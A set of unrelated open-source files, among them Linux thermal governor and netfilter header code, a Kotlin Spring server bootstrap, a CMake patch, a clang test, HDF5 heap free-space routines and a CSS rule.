* divvy_up_power() - divvy the allocated power between the actors
* @req_power: each actor's requested power
* @max_power: each actor's maximum available power
* @num_actors: size of the @req_power, @max_power and @granted_power's array
* @total_req_power: sum of @req_power
* @power_range: total allocated power
* @granted_power: output array: each actor's granted power
* @extra_actor_power: an appropriately sized array to be used in the
* function as temporary storage of the extra power given
* to the actors
*
* This function divides the total allocated power (@power_range)
* fairly between the actors. It first tries to give each actor a
* share of the @power_range according to how much power it requested
* compared to the rest of the actors. For example, if only one actor
* requests power, then it receives all the @power_range. If
* three actors each requests 1mW, each receives a third of the
* @power_range.
*
* If any actor received more than their maximum power, then that
* surplus is re-divvied among the actors based on how far they are
* from their respective maximums.
*
* Granted power for each actor is written to @granted_power, which
* should've been allocated by the calling function.
*/
static void divvy_up_power(u32 *req_power, u32 *max_power, int num_actors,
u32 total_req_power, u32 power_range,
u32 *granted_power, u32 *extra_actor_power)
{
u32 extra_power, capped_extra_power;
int i;
/*
* Prevent division by 0 if none of the actors request power.
*/
if (!total_req_power)
total_req_power = 1;
capped_extra_power = 0;
extra_power = 0;
for (i = 0; i < num_actors; i++) {
u64 req_range = (u64)req_power[i] * power_range;
granted_power[i] = DIV_ROUND_CLOSEST_ULL(req_range,
total_req_power);
if (granted_power[i] > max_power[i]) {
extra_power += granted_power[i] - max_power[i];
granted_power[i] = max_power[i];
}
extra_actor_power[i] = max_power[i] - granted_power[i];
capped_extra_power += extra_actor_power[i];
}
if (!extra_power)
return;
/*
* Re-divvy the reclaimed extra among actors based on
* how far they are from the max
*/
extra_power = min(extra_power, capped_extra_power);
if (capped_extra_power > 0)
for (i = 0; i < num_actors; i++)
granted_power[i] += (extra_actor_power[i] *
extra_power) / capped_extra_power;
}
static int allocate_power(struct thermal_zone_device *tz,
int control_temp)
{
struct thermal_instance *instance;
struct power_allocator_params *params = tz->governor_data;
u32 *req_power, *max_power, *granted_power, *extra_actor_power;
u32 *weighted_req_power;
u32 total_req_power, max_allocatable_power, total_weighted_req_power;
u32 total_granted_power, power_range;
int i, num_actors, total_weight, ret = 0;
int trip_max_desired_temperature = params->trip_max_desired_temperature;
mutex_lock(&tz->lock);
num_actors = 0;
total_weight = 0;
list_for_each_entry(instance, &tz->thermal_instances, tz_node) {
if ((instance->trip == trip_max_desired_temperature) &&
cdev_is_power_actor(instance->cdev)) {
num_actors++;
total_weight += instance->weight;
}
}
if (!num_actors) {
ret = -ENODEV;
goto unlock;
}
/*
* We need to allocate five arrays of the same size:
* req_power, max_power, granted_power, extra_actor_power and
* weighted_req_power. They are going to be needed until this
* function returns. Allocate them all in one go to simplify
* the allocation and deallocation logic.
*/
BUILD_BUG_ON(sizeof(*req_power) != sizeof(*max_power));
BUILD_BUG_ON(sizeof(*req_power) != sizeof(*granted_power));
BUILD_BUG_ON(sizeof(*req_power) != sizeof(*extra_actor_power));
BUILD_BUG_ON(sizeof(*req_power) != sizeof(*weighted_req_power));
req_power = kcalloc(num_actors * 5, sizeof(*req_power), GFP_KERNEL);
if (!req_power) {
ret = -ENOMEM;
goto unlock;
}
max_power = &req_power[num_actors];
granted_power = &req_power[2 * num_actors];
extra_actor_power = &req_power[3 * num_actors];
weighted_req_power = &req_power[4 * num_actors];
i = 0;
total_weighted_req_power = 0;
total_req_power = 0;
max_allocatable_power = 0;
list_for_each_entry(instance, &tz->thermal_instances, tz_node) {
int weight;
struct thermal_cooling_device *cdev = instance->cdev;
if (instance->trip != trip_max_desired_temperature)
continue;
if (!cdev_is_power_actor(cdev))
continue;
if (cdev->ops->get_requested_power(cdev, tz, &req_power[i]))
continue;
if (!total_weight)
weight = 1 << FRAC_BITS;
else
weight = instance->weight;
weighted_req_power[i] = frac_to_int(weight * req_power[i]);
if (power_actor_get_max_power(cdev, tz, &max_power[i]))
continue;
total_req_power += req_power[i];
max_allocatable_power += max_power[i];
total_weighted_req_power += weighted_req_power[i];
i++;
}
power_range = pid_controller(tz, control_temp, max_allocatable_power);
divvy_up_power(weighted_req_power, max_power, num_actors,
total_weighted_req_power, power_range, granted_power,
extra_actor_power);
total_granted_power = 0;
i = 0;
list_for_each_entry(instance, &tz->thermal_instances, tz_node) {
if (instance->trip != trip_max_desired_temperature)
continue;
if (!cdev_is_power_actor(instance->cdev))
continue;
power_actor_set_power(instance->cdev, instance,
granted_power[i]);
total_granted_power += granted_power[i];
i++;
}
trace_thermal_power_allocator(tz, req_power, total_req_power,
granted_power, total_granted_power,
num_actors, power_range,
max_allocatable_power, tz->temperature,
control_temp - tz->temperature);
kfree(req_power);
unlock:
mutex_unlock(&tz->lock);
return ret;
}
/**
* get_governor_trips() - get the number of the two trip points that are key for this governor
* @tz: thermal zone to operate on
* @params: pointer to private data for this governor
*
* The power allocator governor works optimally with two trips points:
* a "switch on" trip point and a "maximum desired temperature". These
* are defined as the first and last passive trip points.
*
* If there is only one trip point, then that's considered to be the
* "maximum desired temperature" trip point and the governor is always
* on. If there are no passive or active trip points, then the
* governor won't do anything. In fact, its throttle function
* won't be called at all.
*/
static void get_governor_trips(struct thermal_zone_device *tz,
struct power_allocator_params *params)
{
int i, last_active, last_passive;
bool found_first_passive;
found_first_passive = false;
last_active = INVALID_TRIP;
last_passive = INVALID_TRIP;
for (i = 0; i < tz->trips; i++) {
enum thermal_trip_type type;
int ret;
ret = tz->ops->get_trip_type(tz, i, &type);
if (ret) {
dev_warn(&tz->device,
"Failed to get trip point %d type: %d\n", i,
ret);
continue;
}
if (type == THERMAL_TRIP_PASSIVE) {
if (!found_first_passive) {
params->trip_switch_on = i;
found_first_passive = true;
} else {
last_passive = i;
}
} else if (type == THERMAL_TRIP_ACTIVE) {
last_active = i;
} else {
break;
}
}
if (last_passive != INVALID_TRIP) {
params->trip_max_desired_temperature = last_passive;
} else if (found_first_passive) {
params->trip_max_desired_temperature = params->trip_switch_on;
params->trip_switch_on = INVALID_TRIP;
} else {
params->trip_switch_on = INVALID_TRIP;
params->trip_max_desired_temperature = last_active;
}
}
static void reset_pid_controller(struct power_allocator_params *params)
{
params->err_integral = 0;
params->prev_err = 0;
}
static void allow_maximum_power(struct thermal_zone_device *tz)
{
struct thermal_instance *instance;
struct power_allocator_params *params = tz->governor_data;
mutex_lock(&tz->lock);
list_for_each_entry(instance, &tz->thermal_instances, tz_node) {
if ((instance->trip != params->trip_max_desired_temperature) ||
(!cdev_is_power_actor(instance->cdev)))
continue;
instance->target = 0;
mutex_lock(&instance->cdev->lock);
instance->cdev->updated = false;
mutex_unlock(&instance->cdev->lock);
thermal_cdev_update(instance->cdev);
}
mutex_unlock(&tz->lock);
}
/**
* power_allocator_bind() - bind the power_allocator governor to a thermal zone
* @tz: thermal zone to bind it to
*
* Initialize the PID controller parameters and bind it to the thermal
* zone.
*
* Return: 0 on success, or -ENOMEM if we ran out of memory.
*/
static int power_allocator_bind(struct thermal_zone_device *tz)
{
int ret;
struct power_allocator_params *params;
int control_temp;
params = kzalloc(sizeof(*params), GFP_KERNEL);
if (!params)
return -ENOMEM;
if (!tz->tzp) {
tz->tzp = kzalloc(sizeof(*tz->tzp), GFP_KERNEL);
if (!tz->tzp) {
ret = -ENOMEM;
goto free_params;
}
params->allocated_tzp = true;
}
if (!tz->tzp->sustainable_power)
dev_warn(&tz->device, "power_allocator: sustainable_power will be estimated\n");
get_governor_trips(tz, params);
if (tz->trips > 0) {
ret = tz->ops->get_trip_temp(tz,
params->trip_max_desired_temperature,
&control_temp);
if (!ret)
estimate_pid_constants(tz, tz->tzp->sustainable_power,
params->trip_switch_on,
control_temp, false);
}
reset_pid_controller(params);
tz->governor_data = params;
return 0;
free_params:
kfree(params);
return ret;
}
static void power_allocator_unbind(struct thermal_zone_device *tz)
{
struct power_allocator_params *params = tz->governor_data;
dev_dbg(&tz->device, "Unbinding from thermal zone %d\n", tz->id);
if (params->allocated_tzp) {
kfree(tz->tzp);
tz->tzp = NULL;
}
kfree(tz->governor_data);
tz->governor_data = NULL;
}
static int power_allocator_throttle(struct thermal_zone_device *tz, int trip)
{
int ret;
int switch_on_temp, control_temp;
struct power_allocator_params *params = tz->governor_data;
/*
* We get called for every trip point but we only need to do
* our calculations once
*/
if (trip != params->trip_max_desired_temperature)
return 0;
ret = tz->ops->get_trip_temp(tz, params->trip_switch_on,
&switch_on_temp);
if (!ret && (tz->temperature < switch_on_temp)) {
tz->passive = 0;
reset_pid_controller(params);
allow_maximum_power(tz);
return 0;
}
tz->passive = 1;
ret = tz->ops->get_trip_temp(tz, params->trip_max_desired_temperature,
&control_temp);
if (ret) {
dev_warn(&tz->device,
"Failed to get the maximum desired temperature: %d\n",
ret);
return ret;
}
return allocate_power(tz, control_temp);
}
static struct thermal_governor thermal_gov_power_allocator = {
.name = "power_allocator",
.bind_to_tz = power_allocator_bind,
.unbind_from_tz = power_allocator_unbind,
.throttle = power_allocator_throttle,
};
int thermal_gov_power_allocator_register(void)
{
return thermal_register_governor(&thermal_gov_power_allocator);
}
void thermal_gov_power_allocator_unregister(void)
{
thermal_unregister_governor(&thermal_gov_power_allocator);
}
| {
"pile_set_name": "Github"
} |
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _XT_TCPUDP_H
#define _XT_TCPUDP_H
#include <linux/types.h>
/* TCP matching stuff */
struct xt_tcp {
__u16 spts[2]; /* Source port range. */
__u16 dpts[2]; /* Destination port range. */
__u8 option; /* TCP Option iff non-zero*/
__u8 flg_mask; /* TCP flags mask byte */
__u8 flg_cmp; /* TCP flags compare byte */
__u8 invflags; /* Inverse flags */
};
/* Values for "inv" field in struct ipt_tcp. */
#define XT_TCP_INV_SRCPT 0x01 /* Invert the sense of source ports. */
#define XT_TCP_INV_DSTPT 0x02 /* Invert the sense of dest ports. */
#define XT_TCP_INV_FLAGS 0x04 /* Invert the sense of TCP flags. */
#define XT_TCP_INV_OPTION 0x08 /* Invert the sense of option test. */
#define XT_TCP_INV_MASK 0x0F /* All possible flags. */
/* UDP matching stuff */
struct xt_udp {
__u16 spts[2]; /* Source port range. */
__u16 dpts[2]; /* Destination port range. */
__u8 invflags; /* Inverse flags */
};
/* Values for "invflags" field in struct ipt_udp. */
#define XT_UDP_INV_SRCPT 0x01 /* Invert the sense of source ports. */
#define XT_UDP_INV_DSTPT 0x02 /* Invert the sense of dest ports. */
#define XT_UDP_INV_MASK 0x03 /* All possible flags. */
#endif
| {
"pile_set_name": "Github"
} |
package functional
import org.springframework.beans.factory.getBean
import org.springframework.context.support.GenericApplicationContext
import org.springframework.http.server.reactive.HttpHandler
import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter
import org.springframework.web.cors.reactive.CorsWebFilter
import org.springframework.web.server.adapter.WebHttpHandlerBuilder
import reactor.netty.DisposableServer
import reactor.netty.http.server.HttpServer
import java.time.Duration
import java.util.concurrent.atomic.AtomicReference
class Application {
private val httpHandler: HttpHandler
private val server: HttpServer
private val disposableRef = AtomicReference<DisposableServer>()
constructor(port: Int = 8080) {
val context = GenericApplicationContext().apply {
beans.initialize(this)
refresh()
}
server = HttpServer.create().host("127.0.0.1").port(port)
httpHandler = WebHttpHandlerBuilder
.applicationContext(context)
.apply { if (context.containsBean("corsFilter")) filter(context.getBean<CorsWebFilter>()) }
.build()
}
fun start() {
this.disposableRef.set(server.handle(ReactorHttpHandlerAdapter(httpHandler)).bindNow())
}
fun startAndAwait() {
server.handle(ReactorHttpHandlerAdapter(httpHandler)).bindUntilJavaShutdown(Duration.ofSeconds(45), null)
}
fun stop() {
disposableRef.get().dispose()
}
}
fun main() {
Application().startAndAwait()
} | {
"pile_set_name": "Github"
} |
Index: CMakeLists.txt
===================================================================
--- CMakeLists.txt (révision 17945)
+++ CMakeLists.txt (copie de travail)
@@ -32,6 +32,7 @@
opt(3M "Enable proprietary 3M extension" OFF)
opt(ACIS "Enable ACIS geometrical models (experimental)" ${DEFAULT})
opt(ANN "Enable ANN (used for fast point search in mesh/post)" ${DEFAULT})
+opt(SEARCH_ANN_IN_SYSTEM "Search before in system if ANN is installed" ON)
opt(BAMG "Enable Bamg 2D anisotropic mesh generator" ${DEFAULT})
opt(BFGS "Enable BFGS (used by some mesh optimizers)" ${DEFAULT})
opt(BLAS_LAPACK "Enable BLAS/Lapack for linear algebra (required for meshing)" ON)
@@ -590,8 +591,10 @@
if(HAVE_MESH OR HAVE_PLUGINS)
if(ENABLE_ANN)
- find_library(ANN_LIB ann PATH_SUFFIXES lib)
- find_path(ANN_INC "ANN.h" PATH_SUFFIXES src include ANN)
+ if(SEARCH_ANN_IN_SYSTEM)
+ find_library(ANN_LIB ann PATH_SUFFIXES lib)
+ find_path(ANN_INC "ANN.h" PATH_SUFFIXES src include ANN)
+ endif(SEARCH_ANN_IN_SYSTEM)
if(ANN_LIB AND ANN_INC)
list(APPEND EXTERNAL_LIBRARIES ${ANN_LIB})
list(APPEND EXTERNAL_INCLUDES ${ANN_INC})
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -std=c++1z -verify %s
inline int f(); // expected-warning {{inline function 'f' is not defined}}
extern inline int n; // expected-error {{inline variable 'n' is not defined}}
int use = f() + n; // expected-note 2{{used here}}
| {
"pile_set_name": "Github"
} |
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Copyright by The HDF Group. *
* Copyright by the Board of Trustees of the University of Illinois. *
* All rights reserved. *
* *
* This file is part of HDF5. The full HDF5 copyright notice, including *
* terms governing use, modification, and redistribution, is contained in *
* the files COPYING and Copyright.html. COPYING can be found at the root *
* of the source code distribution tree; Copyright.html can be found at the *
* root level of an installed copy of the electronic HDF5 document set and *
* is linked from the top-level documents page. It can also be found at *
* http://hdfgroup.org/HDF5/doc/Copyright.html. If you do not have *
* access to either file, you may request a copy from [email protected]. *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*-------------------------------------------------------------------------
*
* Created: H5HFspace.c
* May 2 2006
* Quincey Koziol <[email protected]>
*
* Purpose: Space allocation routines for fractal heaps.
*
*-------------------------------------------------------------------------
*/
/****************/
/* Module Setup */
/****************/
#define H5HF_PACKAGE /*suppress error about including H5HFpkg */
/***********/
/* Headers */
/***********/
#include "H5private.h" /* Generic Functions */
#include "H5Eprivate.h" /* Error handling */
#include "H5HFpkg.h" /* Fractal heaps */
/****************/
/* Local Macros */
/****************/
#define H5HF_FSPACE_SHRINK 80 /* Percent of "normal" size to shrink serialized free space size */
#define H5HF_FSPACE_EXPAND 120 /* Percent of "normal" size to expand serialized free space size */
#define H5HF_FSPACE_THRHD_DEF 1 /* Default: no alignment threshold */
#define H5HF_FSPACE_ALIGN_DEF 1 /* Default: no alignment */
/******************/
/* Local Typedefs */
/******************/
/********************/
/* Package Typedefs */
/********************/
/********************/
/* Local Prototypes */
/********************/
/*********************/
/* Package Variables */
/*********************/
/*****************************/
/* Library Private Variables */
/*****************************/
/*******************/
/* Local Variables */
/*******************/
/*-------------------------------------------------------------------------
* Function: H5HF_space_start
*
* Purpose: "Start up" free space for heap - open existing free space
* structure if one exists, otherwise create a new free space
* structure
*
* Return: Success: non-negative
*
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* May 2 2006
*
* Modifications:
* Vailin Choi, July 29th, 2008
* Pass values of alignment and threshold to FS_create() and FS_open()
* for handling alignment.
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_start(H5HF_hdr_t *hdr, hid_t dxpl_id, hbool_t may_create)
{
const H5FS_section_class_t *classes[] = { /* Free space section classes implemented for fractal heap */
H5HF_FSPACE_SECT_CLS_SINGLE,
H5HF_FSPACE_SECT_CLS_FIRST_ROW,
H5HF_FSPACE_SECT_CLS_NORMAL_ROW,
H5HF_FSPACE_SECT_CLS_INDIRECT};
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
/* Check for creating free space info for the heap */
if(H5F_addr_defined(hdr->fs_addr)) {
/* Open an existing free space structure for the heap */
if(NULL == (hdr->fspace = H5FS_open(hdr->f, dxpl_id, hdr->fs_addr,
NELMTS(classes), classes, hdr, H5HF_FSPACE_THRHD_DEF, H5HF_FSPACE_ALIGN_DEF)))
HGOTO_ERROR(H5E_HEAP, H5E_CANTINIT, FAIL, "can't initialize free space info")
} /* end if */
else {
/* Check if we are allowed to create the free space manager */
if(may_create) {
H5FS_create_t fs_create; /* Free space creation parameters */
/* Set the free space creation parameters */
fs_create.client = H5FS_CLIENT_FHEAP_ID;
fs_create.shrink_percent = H5HF_FSPACE_SHRINK;
fs_create.expand_percent = H5HF_FSPACE_EXPAND;
fs_create.max_sect_size = hdr->man_dtable.cparam.max_direct_size;
fs_create.max_sect_addr = hdr->man_dtable.cparam.max_index;
/* Create the free space structure for the heap */
if(NULL == (hdr->fspace = H5FS_create(hdr->f, dxpl_id, &hdr->fs_addr,
&fs_create, NELMTS(classes), classes, hdr, H5HF_FSPACE_THRHD_DEF, H5HF_FSPACE_ALIGN_DEF)))
HGOTO_ERROR(H5E_HEAP, H5E_CANTINIT, FAIL, "can't initialize free space info")
HDassert(H5F_addr_defined(hdr->fs_addr));
} /* end if */
} /* end else */
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_start() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_add
*
* Purpose: Add a section to the free space for the heap
*
* Return: Success: non-negative
*
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* May 15 2006
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_add(H5HF_hdr_t *hdr, hid_t dxpl_id, H5HF_free_section_t *node,
unsigned flags)
{
H5HF_sect_add_ud_t udata; /* User data for free space manager 'add' */
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
HDassert(node);
/* Check if the free space for the heap has been initialized */
if(!hdr->fspace)
if(H5HF_space_start(hdr, dxpl_id, TRUE) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTINIT, FAIL, "can't initialize heap free space")
/* Construct user data */
udata.hdr = hdr;
udata.dxpl_id = dxpl_id;
/* Add to the free space for the heap */
if(H5FS_sect_add(hdr->f, dxpl_id, hdr->fspace, (H5FS_section_info_t *)node, flags, &udata) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTINSERT, FAIL, "can't add section to heap free space")
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_add() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_find
*
* Purpose: Attempt to find space in a fractal heap
*
* Return: Success: non-negative
*
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* May 2 2006
*
*-------------------------------------------------------------------------
*/
htri_t
H5HF_space_find(H5HF_hdr_t *hdr, hid_t dxpl_id, hsize_t request, H5HF_free_section_t **node)
{
htri_t node_found = FALSE; /* Whether an existing free list node was found */
htri_t ret_value; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
HDassert(request);
HDassert(node);
/* Check if the free space for the heap has been initialized */
if(!hdr->fspace)
if(H5HF_space_start(hdr, dxpl_id, FALSE) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTINIT, FAIL, "can't initialize heap free space")
/* Search for free space in the heap */
if(hdr->fspace)
if((node_found = H5FS_sect_find(hdr->f, dxpl_id, hdr->fspace, request, (H5FS_section_info_t **)node)) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTALLOC, FAIL, "can't locate free space in fractal heap")
/* Set return value */
ret_value = node_found;
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_find() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_revert_root_cb
*
* Purpose: Callback routine from iterator, to reset 'parent' pointers in
* sections, when the heap is changing from having a root indirect
* block to a direct block.
*
* Return: Success: non-negative
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* Feb 24 2012
*
*-------------------------------------------------------------------------
*/
static herr_t
H5HF_space_revert_root_cb(H5FS_section_info_t *_sect, void UNUSED *_udata)
{
H5HF_free_section_t *sect = (H5HF_free_section_t *)_sect; /* Section to dump info */
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(sect);
/* Only modify "live" single blocks... */
if(sect->sect_info.type == H5HF_FSPACE_SECT_SINGLE && sect->sect_info.state == H5FS_SECT_LIVE) {
/* Release hold on previous indirect block (we must have one) */
HDassert(sect->u.single.parent);
if(H5HF_iblock_decr(sect->u.single.parent) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTDEC, FAIL, "can't decrement reference count on section's indirect block")
/* Reset parent information */
sect->u.single.parent = NULL;
sect->u.single.par_entry = 0;
} /* end if */
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_revert_root_cb() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_revert_root
*
* Purpose: Reset 'parent' pointers in sections, when the heap is
* changing from having a root indirect block to a direct block.
*
* Return: Success: non-negative
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* Feb 23 2012
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_revert_root(const H5HF_hdr_t *hdr, hid_t dxpl_id)
{
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
/* Only need to scan the sections if the free space has been initialized */
if(hdr->fspace) {
/* Iterate over all sections, reseting the parent pointers in 'single' sections */
if(H5FS_sect_iterate(hdr->f, dxpl_id, hdr->fspace, H5HF_space_revert_root_cb, NULL) < 0)
HGOTO_ERROR(H5E_FSPACE, H5E_BADITER, FAIL, "can't iterate over sections to reset parent pointers")
} /* end if */
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_revert_root() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_create_root_cb
*
* Purpose: Callback routine from iterator, to set 'parent' pointers in
* sections to newly created root indirect block, when the heap
* is changing from having a root direct block to an indirect block.
*
* Return: Success: non-negative
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* Feb 24 2012
*
*-------------------------------------------------------------------------
*/
static herr_t
H5HF_space_create_root_cb(H5FS_section_info_t *_sect, void *_udata)
{
H5HF_free_section_t *sect = (H5HF_free_section_t *)_sect; /* Section to dump info */
H5HF_indirect_t *root_iblock = (H5HF_indirect_t *)_udata; /* User data for callback */
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(sect);
HDassert(root_iblock);
/* Sanity check sections */
/* (If we are switching from a direct block for the root block of the heap, */
/* there should only be 'single' type sections. -QAK) */
HDassert(sect->sect_info.type == H5HF_FSPACE_SECT_SINGLE);
/* Increment ref. count on new root indirect block */
if(H5HF_iblock_incr(root_iblock) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTINC, FAIL, "can't increment reference count on section's indirect block")
/* Set parent info ("live" section must _NOT_ have a parent right now) */
if(sect->sect_info.state == H5FS_SECT_SERIALIZED)
sect->sect_info.state = H5FS_SECT_LIVE; /* Mark "live" now */
else
HDassert(!sect->u.single.parent);
sect->u.single.parent = root_iblock;
sect->u.single.par_entry = 0;
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_create_root_cb() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_create_root
*
* Purpose: Set 'parent' pointers in sections to new indirect block, when
* the heap is changing from having a root direct block to a
* indirect block.
*
* Return: Success: non-negative
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* Feb 24 2012
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_create_root(const H5HF_hdr_t *hdr, hid_t dxpl_id, H5HF_indirect_t *root_iblock)
{
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
HDassert(root_iblock);
/* Only need to scan the sections if the free space has been initialized */
if(hdr->fspace) {
/* Iterate over all sections, seting the parent pointers in 'single' sections to the new indirect block */
if(H5FS_sect_iterate(hdr->f, dxpl_id, hdr->fspace, H5HF_space_create_root_cb, root_iblock) < 0)
HGOTO_ERROR(H5E_FSPACE, H5E_BADITER, FAIL, "can't iterate over sections to set parent pointers")
} /* end if */
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_create_root() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_size
*
* Purpose: Query the size of the heap's free space info on disk
*
* Return: Success: non-negative
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* August 14 2007
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_size(H5HF_hdr_t *hdr, hid_t dxpl_id, hsize_t *fs_size)
{
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
HDassert(fs_size);
/* Check if the free space for the heap has been initialized */
if(!hdr->fspace)
if(H5HF_space_start(hdr, dxpl_id, FALSE) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTINIT, FAIL, "can't initialize heap free space")
/* Get free space metadata size */
if(hdr->fspace) {
if(H5FS_size(hdr->f, hdr->fspace, fs_size) < 0)
HGOTO_ERROR(H5E_FSPACE, H5E_CANTGET, FAIL, "can't retrieve FS meta storage info")
} /* end if */
else
*fs_size = 0;
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_size() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_remove
*
* Purpose: Remove a section from the free space for the heap
*
* Return: Success: non-negative
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* July 24 2006
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_remove(H5HF_hdr_t *hdr, hid_t dxpl_id, H5HF_free_section_t *node)
{
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
HDassert(hdr->fspace);
HDassert(node);
/* Remove from the free space for the heap */
if(H5FS_sect_remove(hdr->f, dxpl_id, hdr->fspace, (H5FS_section_info_t *)node) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTREMOVE, FAIL, "can't remove section from heap free space")
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_remove() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_close
*
* Purpose: Close the free space for the heap
*
* Return: Success: non-negative
*
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* May 2 2006
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_close(H5HF_hdr_t *hdr, hid_t dxpl_id)
{
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
/* Check if the free space was ever opened */
if(hdr->fspace) {
hsize_t nsects; /* Number of sections for this heap */
/* Retrieve the number of sections for this heap */
if(H5FS_sect_stats(hdr->fspace, NULL, &nsects) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTCOUNT, FAIL, "can't query free space section count")
#ifdef QAK
HDfprintf(stderr, "%s: nsects = %Hu\n", FUNC, nsects);
#endif /* QAK */
/* Close the free space for the heap */
if(H5FS_close(hdr->f, dxpl_id, hdr->fspace) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTRELEASE, FAIL, "can't release free space info")
hdr->fspace = NULL;
/* Check if we can delete the free space manager for this heap */
if(!nsects) {
if(H5FS_delete(hdr->f, dxpl_id, hdr->fs_addr) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTDELETE, FAIL, "can't delete free space info")
hdr->fs_addr = HADDR_UNDEF;
} /* end if */
} /* end if */
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_close() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_delete
*
* Purpose: Delete the free space manager for the heap
*
* Return: Success: non-negative
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* Aug 7 2006
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_delete(H5HF_hdr_t *hdr, hid_t dxpl_id)
{
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
/*
* Check arguments.
*/
HDassert(hdr);
/* Delete the free space manager */
if(H5FS_delete(hdr->f, dxpl_id, hdr->fs_addr) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTFREE, FAIL, "can't delete to free space manager")
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_delete() */
/*-------------------------------------------------------------------------
* Function: H5HF_space_change_sect_class
*
* Purpose: Change a section's class
*
* Return: Success: non-negative
*
* Failure: negative
*
* Programmer: Quincey Koziol
* [email protected]
* July 10 2006
*
*-------------------------------------------------------------------------
*/
herr_t
H5HF_space_sect_change_class(H5HF_hdr_t *hdr, hid_t dxpl_id, H5HF_free_section_t *sect, unsigned new_class)
{
herr_t ret_value = SUCCEED; /* Return value */
FUNC_ENTER_NOAPI_NOINIT
#ifdef QAK
HDfprintf(stderr, "%s: Called\n", FUNC);
#endif /* QAK */
/*
* Check arguments.
*/
HDassert(hdr);
HDassert(hdr->fspace);
HDassert(sect);
/* Notify the free space manager that a section has changed class */
if(H5FS_sect_change_class(hdr->f, dxpl_id, hdr->fspace, (H5FS_section_info_t *)sect, new_class) < 0)
HGOTO_ERROR(H5E_HEAP, H5E_CANTMODIFY, FAIL, "can't modify class of free space section")
done:
FUNC_LEAVE_NOAPI(ret_value)
} /* end H5HF_space_sect_change_class() */
| {
"pile_set_name": "Github"
} |
@charset "utf-8";
body {
}
.courname{
white-space: nowrap;
float: left;
width: 300px;
overflow: hidden;
text-overflow:ellipsis;
}
